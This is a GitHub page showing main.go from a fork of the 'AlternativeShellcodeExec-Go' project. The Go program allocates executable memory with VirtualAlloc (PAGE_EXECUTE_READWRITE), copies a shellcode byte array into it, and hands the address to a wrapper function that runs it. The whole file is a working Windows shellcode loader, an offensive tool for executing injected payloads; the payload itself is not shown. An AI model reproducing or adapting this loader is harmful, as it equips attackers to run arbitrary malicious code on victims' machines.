forked from xiecat/AlternativeShellcodeExec-Go
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.go
More file actions
31 lines (25 loc) · 610 Bytes
/
Copy pathmain.go
File metadata and controls
31 lines (25 loc) · 610 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package main
import (
"AlternativeShellcodeExec/pkg/util"
"syscall"
"unsafe"
)
const (
MEM_RESERVE = 0x2000
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40
)
func Run(op []byte) {
// 为存储 op 分配内存
kernel32, _ := syscall.LoadDLL("kernel32.dll")
virtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
addr, _, _ := virtualAlloc.Call(0, uintptr(len(op)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
// Process op array
for i := range op {
*(*byte)(unsafe.Pointer(addr + uintptr(i))) = op[i]
}
WrapperFunc(addr)
}
func main() {
Run(util.ShellCode())
}